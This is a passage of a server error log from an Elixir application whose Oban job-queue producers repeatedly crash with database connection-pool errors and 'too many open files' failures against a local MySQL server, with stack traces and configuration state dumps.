    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:05:19.242883Z], limit: 20, uuid: "74eb3fd6-2737-42b4-aef1-aac21d4fe9a2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:19.242889Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.21081>, refresh_timer: #Reference<0.2525715032.1077673987.21056>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:31.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1059ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:05:19.243105Z], limit: 5, uuid: "fbe4964f-f661-4ce2-961d-0ebdfb067be7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:19.243110Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.21082>, refresh_timer: #Reference<0.2525715032.1077673987.21068>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:31.591000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:37.180000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:37.658000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:38.513000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:44.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:05:31.241160Z], limit: 5, uuid: "a3d17e27-9571-425c-8ab0-2a89fedcf21a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:31.241166Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.45170>, refresh_timer: #Reference<0.2525715032.1077673987.21208>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1875ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:05:31.241895Z], limit: 10, uuid: "df1aede4-2f3a-4d9b-ae38-d8ed4ea1c73b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:31.241900Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.45171>, refresh_timer: #Reference<0.2525715032.1121189889.157164>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2057ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:05:31.240011Z], limit: 3, uuid: "9a202fca-e5a1-4198-b5dc-c3603723dea7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:31.240017Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.45173>, refresh_timer: #Reference<0.2525715032.1121189889.157132>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:44.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1863ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:05:31.241214Z], limit: 20, uuid: "fde15875-0399-4842-82f0-7854a69d1737", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:31.241218Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.45169>, refresh_timer: #Reference<0.2525715032.1077673987.21210>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:44.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1863ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:05:31.240591Z], limit: 5, uuid: "f8bc6bcd-9f8b-4347-934d-c34a113f9c83", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:31.240597Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.45172>, refresh_timer: #Reference<0.2525715032.1121189889.157146>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:44.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:05:31.240167Z], limit: 50, uuid: "ce8b6ece-028f-4fa1-9778-3ee5a74770c1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:31.240172Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.157165>, refresh_timer: #Reference<0.2525715032.1121189889.157138>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:05:45.215000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:47.706000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:50.213000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:51.927000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:52.862000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:53.403000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:54.497000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:05:56.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 882ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:05:44.239879Z], limit: 20, uuid: "1efbac00-e349-4ad2-b46e-40a05826661e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:44.239886Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, 